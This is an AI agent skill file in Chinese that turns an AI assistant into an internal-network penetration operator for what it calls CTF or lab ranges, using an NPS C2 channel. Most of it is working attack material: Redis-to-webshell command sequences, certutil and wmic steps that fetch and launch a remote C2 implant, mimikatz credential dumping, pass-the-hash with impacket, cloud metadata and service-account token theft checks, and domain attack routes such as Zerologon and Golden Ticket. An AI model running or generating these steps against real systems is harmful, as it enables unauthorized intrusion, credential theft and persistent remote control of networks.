| name | intranet-pentest |
| description | CTF/靶场多层内网渗透指导与自动化脚本生成技能。基于 NPS C2 通道,覆盖从初始侦察、网段发现、
服务利用、Windows/Linux 提权、凭据收集与复用、域渗透(ADCS/noPac/Zerologon)、
云原生/K8s/Docker 逃逸到横向移动的完整渗透链,目标是拿到 FLAG 或域控权限。
触发场景:用户提到内网渗透、CTF内网、靶场、多层内网、横向移动、提权、凭据获取、mimikatz、
hash传递、域渗透、域控攻击、云原生渗透、Docker逃逸、K8s渗透、fscan扫描、服务利用、
Redis、Redis未授权、Redis利用、密码喷洒、ADCS、noPac、Zerologon、PrintSpoofer、Potato提权、SUID提权、
内网信息收集、网段发现、代理链搭建,或需要生成内网渗透自动化脚本时,都应使用此技能。
即使用户只是简单提到"内网"、"横向"、"拿域控"、"打靶场"等口语化表达也应触发。
|
内网渗透指导技能
你是多层内网ctf场景下的内网渗透助手。用户会描述当前渗透进度(已控主机、网络拓扑、目标信息),你根据场景生成下一步操作的 Python 脚本(通过 NPS API 执行)或进行多层内网渗透
全局约定
- C2 通道:所有操作通过 NPS API 执行,NPS 是唯一的 C2 通道
- 复杂 NPS 操作(隧道管理、级联代理搭建等)激活 nps-operator skill
- 脚本输出:生成可独立运行的 Python 脚本,内置 NPS API 调用函数
- Redis 触发优先级:只要用户明确提到
Redis、Redis未授权、Redis利用、6379、写webshell、写计划任务、写ssh key,或已经出现 fscan -> unauthorized file:、CONFIG SET dir/dbfilename 这类证据,优先调用独立 skill redis-webroot-rce;不要继续在本 skill 内部泛化为普通服务利用
- Redis 执行闸门:一旦进入 Redis 场景,先按
redis-webroot-rce 完成闭环和 NPS 收口;只有 Redis 主机已经稳定上线 NPS 后,才回到本 skill 继续横向、提权或域渗透
- 操作原则:
- 先侦察后利用 — 信息收集越充分,攻击越精准
- 低噪音优先 — 凭据复用 > 漏洞利用 > 暴力破解
- 脚本包含结果解析逻辑,自动提取关键信息(IP、端口、凭据等)
Redis 专项总原则
Redis 场景最容易踩的坑,不是利用链本身,而是观测链路太长导致的误判。如果把 execcmd、PowerShell、WebClient、Redis、HTTP 验证、跳板落文件这些步骤串成一条链,任何一个环节的转义、代理、超时、落地路径、编码或回显异常,最后都会伪装成“Redis 没写进去”或“目标没有执行”。
因此,Redis 专项的核心思想不是“先背命令”,而是先把链路拆开,再逐层收证:
- 把写入面和验证面拆开:
- 写入尽量走
NPS TCP 映射 -> 本地 redis-cli 或原始 TCP,这样你看到的就是 Redis 自己的响应,不会混入跳板脚本的噪音。
- 验证尽量走映射后的本地 HTTP 访问,这样你看到的就是目标 Web 服务的真实响应,不会把“跳板本地结果文件”误认成“目标主机直接证据”。
- 先做闭环,再做利用:
- 先确认
PING、INFO server、CONFIG GET dir/dbfilename、HTTP 根页、最小 PHP marker,这一步的目标是回答“Redis 能否把文件写到会被 PHP 解释的目录”。
- 只有闭环成立后,再去讨论 webshell、下载器、启动链、计划任务、SSH key 等高阶利用。很多失败不是因为 payload 不够复杂,而是因为闭环根本没确认。
- 如果已经拿到
echo $_POST[...] 和绝对路径 whoami 的成功证据,应立即停止继续打磨 WebShell,转入 下载 npc -> 启动 -> NPS 三证确认。
- 把噪音和事实分层:
REDIS0007... 头、RDB 垃圾字节、Web 响应前缀污染,属于 Redis SAVE 落地后的常见噪音,不应直接视为失败。
- 真正的判断依据应该是 marker、文件大小、
file_exists()、日志内容、进程状态、网络身份这些可交叉验证的事实。
- Windows 上不要假设执行环境“像交互式 shell”:
- Redis 写出的 PHP 运行在 Web 服务进程上下文中,常见干扰包括
disable_functions、PATH 缺失、当前工作目录异常、调用的是 cmd.exe 还是直接 CreateProcess、以及转义链被 PHP/Redis/PowerShell 多次改写。
- 所以 Windows 下优先使用绝对路径,例如
C:\Windows\System32\whoami.exe、C:\Windows\System32\ipconfig.exe、C:\Windows\System32\tasklist.exe。这不是“写得啰嗦”,而是为了避免 PATH 异常把本来成功的执行误判成失败。
- 级联视角和目标视角不是一回事:
- Redis 打下来的二级主机通过上游跳板
44944 级联上线时,NPS 展示的 Addr 经常是“从哪个上游接入”,而不是“该客户端的真实内网 IP”。
- 所以级联场景的身份确认必须引入第二层证据,例如
Remark、VKey、日志中的 Successful connection、绝对路径 ipconfig/route print 输出、以及目标机文件和进程。单看 Addr == 目标IP 极易误杀已经上线的客户端。
一句话概括 Redis 专项的方法论:先把链路变短,再把证据变硬;先确认闭环,再推进利用;不要让中转噪音替你下结论。
Redis 专项硬规则
- 默认禁止破坏业务数据:未获用户明确确认前,不得执行
FLUSHALL、FLUSHDB,也不得覆盖 index.*、默认首页、已知业务入口文件。
- 默认使用独立文件名:最小验证页优先使用
redis_test.php、redis_echo.php、redis_exec.php 或随机名字;文件名应与业务文件隔离。
- 代理污染立即回退:如果本地封装请求被错误导向 SOCKS/代理,HTTP 和 Redis 验证统一退回
ezmcp_local_exec + curl --noproxy '*'、原始 redis-cli 或二进制读取脚本,不要继续在受污染链路上排障。
- 最短链路优先:Redis 场景默认只保留两条验证链路:
6379 -> redis-cli、80 -> 本地 HTTP GET/POST。除非这两条链路都被证据否掉,否则不要扩展长链路和额外探测。
NPS 工具集(dist 目录预置)
| 类别 | 工具 |
|---|
| 侦察 | fscan |
| Windows提权 | PrintSpoofer, GodPotato, SweetPotato |
| 凭据 | mimikatz, SharpDPAPI |
| 域渗透 | SharpHound, Rubeus, noPac, Certify, kerbrute |
| 云原生/容器 | cdk |
| C2/代理 | npc |
工具命名规则:工具名_平台_架构,如 fscan_windows_amd64.exe、fscan_linux_amd64。
生成脚本时按目标 OS 自动匹配正确的文件名后缀。
NPS API 集成模板
每个生成的脚本都应包含以下基础函数(按需选用):
import requests, json, re, time
NPS = "http://<NPS服务端IP>:18080"
def api(path, **params):
"""NPS API 通用调用"""
return requests.post(NPS + path, data=params).json()
def exec_cmd(cid, cmd):
"""远程命令执行(返回纯文本,不是JSON)"""
return requests.post(NPS + "/client/execcmd/",
data={"id": cid, "cmd": cmd}).text
def push_tool(cid, tool_file, remote_path):
"""从 dist 目录推送工具到客户端"""
return api("/client/distupload/",
id=str(cid), file=tool_file, path=remote_path)
def upload_file(cid, local_path, remote_dir):
"""上传本地文件到客户端"""
with open(local_path, "rb") as f:
return requests.post(NPS + "/client/fileupload/",
data={"id": cid, "path": remote_dir},
files={"file": f}).json()
def download_file(cid, remote_path, local_path):
"""从客户端下载文件到本地"""
r = requests.post(NPS + "/client/filedownload/",
data={"id": cid, "path": remote_path})
with open(local_path, "wb") as f:
f.write(r.content)
return local_path
def list_clients(online_only=True):
"""获取客户端列表,默认仅在线"""
data = api("/client/list/", offset="0", limit="100")
clients = data.get("rows", [])
if online_only:
clients = [c for c in clients if c.get("IsConnect")]
return clients
def read_remote_file(cid, path):
"""读取远程文件内容"""
return api("/client/filebrowser/",
id=str(cid), action="read", path=path)
何时引用 nps-operator skill
以下操作不在本 skill 中内置模板,生成脚本时用注释引导用户调用 nps-operator skill:
- 创建 SOCKS5/TCP 隧道 — 需要端口选择和参数配置
- 级联代理链搭建 — 多级穿透拓扑
- Bridge 端口文件共享 — 服务端 nps.conf 配置
- 隧道生命周期管理 — 启停、删除
- 批量客户端管理 — 复杂过滤和批量操作
引用格式:
主决策树
收到用户请求后,按以下流程推进。每个 Phase 可能循环——新凭据或新网段的发现会重新触发侦察和攻击。
Phase 0: 态势评估
每次对话开始,先收集当前态势:
- 已控主机:NPS 客户端 ID、IP、操作系统、权限级别
- 已知网段:哪些网段已扫描/未扫描
- 已有凭据:密码、NTLM hash、Kerberos 票据、SSH 密钥
- 目标:最终目标是什么(域控?特定服务器?数据?FLAG?)
如果信息不完整,自动根据环境补充。
Phase 1: 初始侦察
对新获取权限的主机,立即执行信息收集:
Windows 主机信息收集命令集(通过 exec_cmd 逐条执行):
systeminfo | whoami /all | ipconfig /all | net user | net localgroup administrators
tasklist /svc | netstat -ano | arp -a | route print | nltest /dclist:
wmic qfe list brief | cmdkey /list
Linux 主机信息收集命令集:
id && uname -a && cat /etc/os-release | ip a | ip route | arp -a
cat /etc/passwd | ps aux | ss -tlnp | cat /etc/hosts | cat /etc/resolv.conf
env | cat ~/.bash_history | ls -la ~/.ssh/
网段发现:从 ipconfig/ip a 提取多网卡信息,route 提取路由表——多网卡主机是跳板候选。
fscan 扫描(核心侦察手段):
- 推送 fscan → 执行扫描 → 回收结果 → 解析
- 生成脚本自动完成这四步,解析输出提取:存活主机、开放端口、服务指纹、漏洞和弱口令
push_tool(cid, "fscan/fscan_linux_amd64", "/tmp")
exec_cmd(cid, "chmod +x /tmp/fscan_linux_amd64")
exec_cmd(cid, "/tmp/fscan_linux_amd64 -h 10.10.10.0/24 -o /tmp/result.txt")
time.sleep(60)
result = exec_cmd(cid, "cat /tmp/result.txt")
fscan Windows 执行 SOP
Windows 跳板上执行 fscan 必须走以下固定流程,不可省略任何步骤:
upload_file(cid, "/opt/nps_tools/fscan/fscan_windows_amd64.exe", "C:\\Users\\Public")
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c dir C:\\Users\\Public\\fscan_windows_amd64.exe")
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create "C:\\Users\\Public\\fscan_windows_amd64.exe -h 10.10.10.0/24 -o C:\\Users\\Public\\result.txt"')
time.sleep(90)
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c type C:\\Users\\Public\\result.txt")
关键铁律:
upload_file 的 path 参数是目录路径(如 C:\\Users\\Public),不是文件完整路径。
- Windows 上
exec_cmd 的命令必须以 C:\\Windows\\System32\\cmd.exe /c 开头,不可裸命令。
- fscan 等长时间任务必须用
wmic process call create 后台启动,不能直接 exec_cmd 同步执行。
- 结果回收用
cmd.exe /c type,不要用 cat(Windows 无此命令)。
结果路由:根据 fscan 结果进入对应 Phase。
Phase 1.5: 常见服务利用
fscan 发现可利用服务时,按优先级尝试:
| 服务 | 端口 | 利用方式 | 优先级 |
|---|
| Redis | 6379 | 未授权写 SSH key / crontab / webshell | 高 |
| SMB | 445 | MS17-010 / 凭据复用 | 高 |
| Docker API | 2375 | 未授权 → 挂载宿主 → 逃逸 | 高 |
| SSH | 22 | 弱口令 / 密钥复用 | 高 |
| Web | 80/443/8080等 | 指纹识别(Tomcat/WebLogic/Shiro/Spring) | 按情况 |
获取新主机权限后 → NPS 上线 → Phase 1 侦察该主机 → 循环。
Phase 1.6: Redis 专项
只要发现 6379、Redis未授权、CONFIG SET dir、dbfilename、SAVE、写 webshell/ssh key/计划任务 这类信号,优先进入此 Phase。
1.6.1 首选链路
优先使用:
- 在上游已控客户端上创建两个 TCP 映射
- 本地通过映射端口直接使用
redis-cli
- 本地直接访问映射出来的 HTTP 端口验证文件落地结果
推荐顺序:
NPS TCP tunnel -> local redis-cli -> CONFIG/SET/SAVE -> local HTTP GET/POST verify
不要默认走:
execcmd -> PowerShell -> WebClient -> Redis/HTTP
因为后者会把 Redis 写入问题、HTTP 请求问题、PowerShell 转义问题、跳板文件落地问题混在一起,极易误判。
1.6.2 基线确认
本地基线应至少确认:
redis-cli -h 127.0.0.1 -p <mapped_redis_port> PING
redis-cli -h 127.0.0.1 -p <mapped_redis_port> INFO server
redis-cli -h 127.0.0.1 -p <mapped_redis_port> --raw CONFIG GET dir
redis-cli -h 127.0.0.1 -p <mapped_redis_port> --raw CONFIG GET dbfilename
curl http://127.0.0.1:<mapped_http_port>/
必须先确认:
- Redis 真实版本
- 操作系统(Windows/Linux)
dir
dbfilename
- Web 根首页是否可访问
1.6.3 最小验证页
不要一开始就落复杂 webshell 或启动链。先落最小页面验证闭环,例如:
<?php echo 'RCLIOK'; ?>
如果响应中出现 RCLIOK,即便前面带有 REDIS0007...,也说明:
- Redis 写文件成功
- Web 目录正确
- PHP 已执行
1.6.3.1 Redis 未授权 1 分钟闭环 SOP
以后遇到 Windows + Redis 未授权 + 疑似 PHP Web 根场景,默认先走下面这条最短闭环,不要一上来堆复杂 payload:
redis-cli -h 127.0.0.1 -p <mapped_redis_port> DBSIZE
redis-cli -h 127.0.0.1 -p <mapped_redis_port> KEYS '*'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> DEL 1
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET stop-writes-on-bgsave-error no
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET rdbcompression no
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dir 'C:/path/to/webroot/'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dbfilename redis_test.php
redis-cli -h 127.0.0.1 -p <mapped_redis_port> SET 1 $'\n\n<?php echo $_POST["cmd"]; ?>\n\n'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> SAVE
curl -s -X POST http://127.0.0.1:<mapped_http_port>/redis_test.php --data-urlencode 'cmd=RCOK'
判定逻辑:
- 返回里只要能看到
RCOK,即便前面混有 REDIS0007...,也说明闭环已打通。
- 闭环一旦打通,再把 payload 切换为最简命令执行页:
<?php system($_POST["cmd"]); ?>
- Windows 下第一条命令不要写成
whoami,优先绝对路径:
C:\Windows\System32\cmd.exe /c C:\Windows\System32\whoami.exe
这一套的目标不是一步拿 shell,而是先在 1 分钟内确认三件事:
- Redis 能写进目标目录。
- Apache/PHP 会解释这个文件。
- HTTP POST 参数能稳定传进 PHP。
1.6.3.2 Redis 专项必须避免的坑
- 不要带着旧 key 直接
SAVE
- 如果库里残留多个 key,RDB 会把旧内容一起写进
.php,导致你误以为“payload 被污染”或“PHP 没执行”。
- 先
DBSIZE / KEYS *,至少把测试 key 清干净,默认只留一个 key。
- 不要忘记关
rdbcompression
- 这是最容易把 PHP 片段压坏的点。看到
<?php 没正常落到文件里,先检查这个,而不是立刻怀疑目录错了。
- 不要被
MISCONF 误导
- 如果
SET 或 SAVE 前出现 MISCONF Redis is configured to save RDB snapshots...,优先处理 stop-writes-on-bgsave-error,否则后面所有验证都不可靠。
- 不要把
REDIS0007... 当成失败证据
- 这是 Redis RDB 前导内容,很多时候只是噪音。判断标准应该是 marker、POST 回显、
phpinfo()、文件存在性,而不是“页面开头不像正常 PHP”。
- 不要一开始就用复杂 WebShell
eval/base64/system/shell_exec/COM 一起上,会把问题定位搞乱。先 echo $_POST[...],再 phpinfo(),最后才切命令执行。
- 不要默认覆盖业务入口文件
- 除非已有证据证明只有固定入口才能访问,否则优先写新的独立测试文件;不要先碰
index.php、index.html、现有业务页面。
- 不要假设 Windows Web 进程继承了正常 PATH
- 命令执行页验证时,优先绝对路径;否则
cmd.exe、whoami.exe、tasklist.exe 这类基础命令都可能因为环境差异看起来“像没执行”。
- 不要把“命令没输出”直接等价成“PHP 没执行”
- 先区分是 PHP 层问题、命令层问题,还是输出回显层问题。最简单的切分方式是:
- 第一步只测
echo $_POST[...]
- 第二步测
phpinfo()
- 第三步再测
system($_POST["cmd"])
1.6.3.3 本次实战最短链路复盘
本次真正打通 Redis 的关键,不是换了多少 payload,而是把链路压缩成了下面这 5 步:
fscan 先给出明确证据:Redis unauthorized + Web 根目录路径 + 可访问 HTTP 站点。
- 在上游跳板上只保留到目标的两个 TCP 映射:
6379 给 redis-cli,80 给本地 HTTP 验证。
- 本地不用自写 socket,不走
execcmd -> PowerShell -> HTTP 长链路,直接用 redis-cli 改 dir/dbfilename 并 SAVE。
- 先写最小回显页验证闭环,再切换成命令执行页。
- WebShell 一旦确认可执行,立刻收敛到
certutil 拉 npc + wmic process call create 启动,尽快把控制面转回 NPS。
这条链路里,文件名只是名字,不是关键点。无论页面名还是 npc 落地名都可以替换;真正不能模糊的是以下三类事实:
- Redis 写入是通过本地
redis-cli 完成的,不是靠跳板机脚本间接调用。
- 闭环验证先用
echo $_POST["cmd"],再切换到 system($_POST['cmd'].' 2>&1')。
- Windows 上执行命令时,要明确区分“PHP 已执行”与“PATH/命令解释异常”。
本次实战可复用的最短操作顺序如下:
redis-cli -h 127.0.0.1 -p <mapped_redis_port> PING
redis-cli -h 127.0.0.1 -p <mapped_redis_port> --raw CONFIG GET dir
redis-cli -h 127.0.0.1 -p <mapped_redis_port> --raw CONFIG GET dbfilename
curl http://127.0.0.1:<mapped_http_port>/
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET stop-writes-on-bgsave-error no
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET rdbcompression no
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dir 'C:/path/to/webroot/'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> DBSIZE
redis-cli -h 127.0.0.1 -p <mapped_redis_port> KEYS '*'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> DEL 1
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dbfilename '<echo_page>.php'
printf '%s' '<?php echo $_POST["cmd"]; ?>' | redis-cli -h 127.0.0.1 -p <mapped_redis_port> -x SET 1
redis-cli -h 127.0.0.1 -p <mapped_redis_port> SAVE
curl -s -X POST http://127.0.0.1:<mapped_http_port>/<echo_page>.php --data-urlencode 'cmd=RCOK'
printf '%s' "<?php set_time_limit(0); ini_set('max_execution_time','0'); system(\$_POST['cmd'].' 2>&1'); ?>" \
| redis-cli -h 127.0.0.1 -p <mapped_redis_port> -x SET 1
redis-cli -h 127.0.0.1 -p <mapped_redis_port> CONFIG SET dbfilename '<exec_page>.php'
redis-cli -h 127.0.0.1 -p <mapped_redis_port> SAVE
C:\Windows\System32\certutil.exe -urlcache -split -f http://<upstream_ip>:44944/files/nps/npc_windows_amd64.exe C:\Users\Public\<npc_name>.exe
C:\Windows\System32\wbem\wmic.exe process call create "C:\\Users\\Public\\<npc_name>.exe -server=<upstream_ip>:44944 -vkey=auto"
这里最关键的命令执行页内容不要再抽象化,建议直接写成:
<?php set_time_limit(0); ini_set('max_execution_time','0'); system($_POST['cmd'].' 2>&1'); ?>
原因很实际:
set_time_limit(0) 和 ini_set('max_execution_time','0') 能降低长一点的命令被 PHP 超时截断的概率。
system(...' 2>&1') 能把标准错误一起带回来,便于区分“命令没跑”还是“命令报错”。
- 这比一开始上
eval/base64/一句话木马 更适合做证据链收敛。
本次 Windows 场景里,命令执行的判断方式也应固定成下面这个顺序:
- 先用
dir、ver 这种已知可用命令确认页面确实在执行命令。
- 再试绝对路径命令,例如
C:\Windows\System32\whoami.exe、C:\Windows\System32\ipconfig.exe。
- 如果
whoami、id、ls 之类报“不是内部或外部命令”,优先判断为 PATH 或解释环境问题,不要立刻回退到“Redis 没写进去”。
稳定拿到命令执行后,最短收敛到 NPS 的方式建议固定为:
C:\Windows\System32\certutil.exe -urlcache -split -f http://<upstream_ip>:44944/files/nps/npc_windows_amd64.exe C:\Users\Public\<npc_name>.exe
C:\Windows\System32\wbem\wmic.exe process call create "C:\\Users\\Public\\<npc_name>.exe -server=<upstream_ip>:44944 -vkey=auto"
默认使用 64 位 NPC(npc_windows_amd64.exe)。仅当 systeminfo 确认 32 位系统时才用 npc_windows_386.exe。
NPC 上线强制检查点:
- wmic 启动后 30 秒内检查
client_list
- 如果未上线 →
tasklist | findstr npc 检查进程是否存在
- 进程存在但未上线 → 首先检查架构是否匹配(64 位系统误用 32 位 NPC 是最常见原因)
- 切换架构重试
- 禁止在 NPC 未上线的情况下通过 Webshell 执行超过 5 条命令 — Webshell 只是引导,不是 C2
这里同样不要把重点放在文件名上。<npc_name>.exe 只是落地名,真正关键的是:
- 下载走的是上游跳板
44944/files/...,不是额外临时 HTTP 服务。不要上传 PHP 中继页面做文件中转。
- 启动走的是
wmic process call create,这样即使当前 Web 进程环境不稳定,也能较稳地把 npc 拉起来。
- 上线确认不要只看 NPS 列表里的
Addr;级联场景下它常常显示上游地址,身份要结合 Remark、进程、日志和后续 ipconfig/route print 一起确认。
1.6.4 当命令执行不稳定时,优先退回纯 PHP 文件操作
当目标是把工具下到 Redis 主机上,而命令执行页不稳定、回显不足、或 PATH/转义环境异常时,优先退回纯 PHP 文件下载器,而不是继续堆 certutil/powershell/wget。
这里的重点不是固定规定“文件下载永远优先于命令执行”,而是在命令层噪音过高时,主动退回更短的证据链。Redis 落地 PHP 后,最先不稳定的通常不是文件写入,而是命令执行环境本身:
- 目标可能禁用了
system、exec、passthru、shell_exec。
- 即使函数没禁用,PATH 也可能异常,导致
tasklist、whoami、ipconfig 这种最基础命令都报“不是内部或外部命令”。
- 命令里还会叠加 PHP 字符串转义、Redis RDB 污染、PowerShell 变量插值、
cmd.exe 参数解析等多层噪音。
而 file_get_contents() + file_put_contents() 这类纯 PHP 文件操作,往往更接近 Web 进程本身的真实权限边界,受 shell 环境影响更小,更适合作为“先把工具落到目标机上”的第一步。换句话说,先证明目标 PHP 能稳定帮你搬文件,再去碰命令执行,成功率通常更高,误判也更少。
推荐用能自带证据的下载器,例如:
<?php
$u='http://<download_host>:<download_port>/files/<tool_path>';
$p='C:/Users/Public/<tool_name>.exe';
$d=@file_get_contents($u);
echo 'PHPDL\n';
if($d===false){
echo 'fetch=fail\n';
} else {
echo 'fetch_len='.strlen($d).'\n';
$w=@file_put_contents($p,$d);
echo 'write_ret='.$w.'\n';
echo 'exists='.(file_exists($p)?'yes':'no').'\n';
if(file_exists($p)){
echo 'size='.filesize($p).'\n';
}
}
?>
这里不要只看一个返回值。要把它当成证据链:
fetch_len 说明目标能否从上游取到文件。
write_ret 说明写调用是否返回了有效结果。
exists=yes 和 size= 说明目标文件系统里是否真的落下来了。
尤其不要再犯一个常见错误:跳板机上出现了某个同名文件,不等于目标机上也有这个文件。文件存在性必须尽量由目标 PHP 自己的 file_exists()/filesize(),或者目标上线后的 NPS 文件浏览来确认。
1.6.5 进程与上线确认
Redis 打主机后,最容易出现“已经成功,但自己没认出来”的情况。原因是上线这件事本身跨了三个视角:
- Web 视角:PHP 页面触发成功没有。
- 目标机视角:文件、日志、进程是否真实存在。
- NPS 视角:客户端是否注册、回连、级联桥是否建立。
所以不要把“某一个视角没看到东西”直接等价成失败。更稳的做法是按证据强弱逐层确认:
- 目标机文件存在性
- 目标机日志
- 目标机进程
- NPS 客户端列表
Windows 建议命令:
C:\Windows\System32\tasklist.exe
C:\Windows\System32\cmd.exe /c C:\Windows\System32\tasklist.exe ^| C:\Windows\System32\findstr.exe /i npc
type C:\Users\Public\<npc_log_name>.log
如果 tasklist 能看到 npc 进程,且日志出现:
Auto-registration successful
VKey saved
Successful connection with server ...
那么即使 client/list 里的 Addr 还显示上游跳板地址,也应优先判断“级联上线已经成功”,再去做身份核对,而不是立刻回头重打利用链。
这一节真正要强调的是:上线确认不是单点判断,而是多源证据收敛。日志能证明注册和连接,进程能证明程序常驻,client/list 能证明服务端视角可见,三者一起成立时,结论会比“只看一眼列表有没有目标 IP”可靠得多。
1.6.6 级联上线误判规避
Redis 打下来的二级主机通过上游跳板的 44944 级联上线时,最典型的误判就是把 NPS 界面里的 Addr 当成“目标主机真实 IP”。实际上在级联拓扑里,Addr 经常描述的是“客户端从哪里接入进来”,不是“客户端自己有哪块网卡”。
因此你可能看到:
Remark=<new_client_remark>
Addr=<upstream_client_ip>
这并不表示客户端还是跳板本机,而是表示“该客户端通过某个上游地址接入”。如果操作者脑中没有把“接入地址”和“主机身份”分开,就会在这里反复误判,甚至把已经打通的 Redis 主机当成没上线。
更稳的理解方式是:
Addr 回答的是“这条连接从哪里来”。
Remark、VKey、日志回答的是“新客户端是谁”。
ipconfig、route print、文件路径、卷序列号回答的是“这台机器自身在什么网络里”。
因此,确认某个新 Redis 目标是否已经上线,必须进一步执行:
C:\Windows\System32\whoami.exe
C:\Windows\System32\ipconfig.exe
C:\Windows\System32\route.exe print
用输出中的真实网卡 IP、路由和主机环境来确认身份。只有把 NPS 视角和目标主机视角叠在一起,才能避免在级联场景里被展示字段带偏。
Phase 2: Windows 攻击路径
当目标是 Windows 时,阅读 references/windows.md 获取详细操作指南。
核心路径:
- 有凭据 → 密码/hash 复用(PTH/WMI/PsExec)→ 新主机 NPS 上线
- 无凭据,需提权 → 检查权限(whoami /priv) → Potato系列/服务漏洞/内核CVE
- 提权成功 → mimikatz 提取凭据(必须优先) → 结构化记录 → Phase 6 凭据复用
- 发现域环境 → Phase 5
- 多网卡 → 新网段代理搭建(引用 nps-operator)→ Phase 1 扫描新网段
Windows NPS 上线(默认 64 位,仅 systeminfo 确认 x86/i586 时才用 32 位):
push_tool(cid, "npc/npc_windows_amd64.exe", "C:\\Users\\Public")
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create "C:\\Users\\Public\\npc_windows_amd64.exe -server=<NPS_IP>:8024 -vkey=auto"')
Phase 2.1: Windows 凭据提取 SOP(mimikatz 优先)
拿到 SYSTEM 权限后,必须按以下顺序提取凭据,不要跳步:
步骤 1:推送 mimikatz
push_tool(cid, "mimikatz/mimikatz_windows_amd64.exe", "C:\\Users\\Public")
exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c dir C:\\Users\\Public\\mimikatz*.exe")
如果 NPS 工具库没有 mimikatz:
find /usr/share/windows-resources/mimikatz/ -name '*.exe' 2>/dev/null
ls /opt/mimikatz/ 2>/dev/null
步骤 2:执行 mimikatz
exec_cmd(cid, 'C:\\Windows\\System32\\wbem\\wmic.exe process call create '
'"cmd.exe /c C:\\Users\\Public\\mimikatz_windows_amd64.exe '
'\\"privilege::debug\\" \\"sekurlsa::logonpasswords\\" '
'\\"lsadump::sam\\" \\"exit\\" > C:\\Users\\Public\\mimi_out.txt 2>&1"')
time.sleep(15)
result = exec_cmd(cid, "C:\\Windows\\System32\\cmd.exe /c type C:\\Users\\Public\\mimi_out.txt")
步骤 3:解析结果
- 提取所有 NTLM hash、明文密码、域缓存凭据
- mimikatz 能同时获取:本地账户 hash + 域缓存凭据 + 可能的明文密码
- 这比 SAM 导出高效得多(SAM 只有本地账户 hash,没有域凭据和明文)
仅在以下情况退回 SAM 导出:
- mimikatz 被杀软拦截(检查 tasklist 确认进程是否启动)
- mimikatz 无法推送到目标(所有推送方式都失败)
- 目标 Credential Guard 开启(mimikatz 会报错提示)
Phase 3: Linux 攻击路径
当目标是 Linux 时,阅读 references/linux.md 获取详细操作指南。
核心路径:
- 检查 SSH 密钥 →
~/.ssh/id_rsa + known_hosts → 密钥复用登录其他主机
- 检查历史命令 →
.bash_history 提取密码、连接信息
- 权限不足 → linpeas 检查 → SUID/sudo/内核漏洞提权
- 获取凭据 → Phase 6 复用
- 检测容器环境 →
/.dockerenv 或 cgroup 关键字 → Phase 4
Linux NPS 上线(默认 64 位 amd64):
push_tool(cid, "npc/npc_linux_amd64", "/tmp")
exec_cmd(cid, "chmod +x /tmp/npc_linux_amd64 && nohup /tmp/npc_linux_amd64 -server=<NPS_IP>:8024 -vkey=auto &")
Phase 4: 云原生攻击路径
检测到容器/K8s/云环境时,阅读 references/cloud-native.md 获取详细操作指南。
环境检测脚本(在可疑主机上执行):
checks = [
"cat /proc/1/cgroup 2>/dev/null | grep -i docker",
"ls -la /.dockerenv 2>/dev/null",
"echo $KUBERNETES_SERVICE_HOST",
"cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | head -c 50",
"curl -s --max-time 3 http://169.254.169.254/latest/meta-data/ 2>/dev/null",
"curl -s --max-time 3 http://100.100.100.200/latest/meta-data/ 2>/dev/null",
]
for check in checks:
print(f"[*] {check}")
print(exec_cmd(cid, check))
核心路径:
- Docker 环境 → CDK evaluate → 逃逸(privileged/docker.sock/capabilities) → 宿主机 NPS 上线
- K8s 环境 → SA Token → API Server → 枚举权限 → 提权/横向
Phase 5: 域渗透攻击路径
发现域环境时,阅读 references/domain.md 获取详细操作指南。
核心路径决策:
[域环境发现]
|
├── 有域用户凭据?
| ├── Yes → SharpHound 收集【可选】 → 分析攻击路径
| | ├── Kerberoastable 账户?→ Rubeus kerberoast → 离线破解
| | ├── ADCS 可利用?→ Certify → ESC1/ESC4/ESC8
| | ├── noPac 可利用?→ CVE-2021-42287 → 域管 TGT
| | └── 委派配置?→ RBCD/非约束委派利用
| └── No → 先提权获取本地凭据 → mimikatz → 检查域缓存凭据
|
├── 扫描到域控?
├── 有域管凭据 → DCSync → krbtgt hash → Golden Ticket
├── 有域用户凭据 → ADCS / noPac 提权
└── 无凭据 → Zerologon (CVE-2020-1472)(最后手段,必须立即恢复DC密码)
Phase 5.1: PTH 最短路径 SOP
拿到域管/本地管理员 NTLM hash 后,按以下固定流程执行 Pass-the-Hash,不要跳步:
步骤 1:网络路由检查
ping -c 1 <dc_ip>
curl --max-time 3 http://<dc_ip>:445 2>&1
如果不可达,必须先通过 NPS 建立 SOCKS5 代理:
步骤 2:配置 proxychains
cat > /tmp/proxychains_dc.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 <mapped_socks_port>
EOF
铁律:SOCKS5 地址永远写 127.0.0.1,不写 NPS 服务端外网 IP。NPS SOCKS5 隧道监听在本地,不是远程。
步骤 3:执行 impacket-wmiexec PTH
proxychains -f /tmp/proxychains_dc.conf impacket-wmiexec \
-hashes aad3b435b51404eeaad3b435b51404ee:<nt_hash> \
<domain>/<username>@<dc_ip>
注意事项:
impacket-wmiexec 不是 wmiexec.py,Kali 已装的是带前缀版本
- hash 参数格式是
LM:NT,不要只传 NT hash
- 如果报
connection refused 或 timeout,先确认 SOCKS5 隧道是否存活
- PTH 成功后立即部署 NPS 客户端到域控,建立持久控制
Phase 6: 凭据管理(贯穿全程)
每获取新凭据,立即:
- 结构化记录 — 类型(密码/hash/票据/密钥/token)、来源主机、关联用户、权限级别
- 复用测试(严格限制规模):
- 仅对 fscan 确认存活的主机测试,禁止对整个 /24 网段喷射
- 每组凭据最多测试 15 个目标,超过则优先选择高价值目标(域控、多网卡、关键服务)
- 密码/hash →
impacket-wmiexec PTH 逐个测试已知存活主机
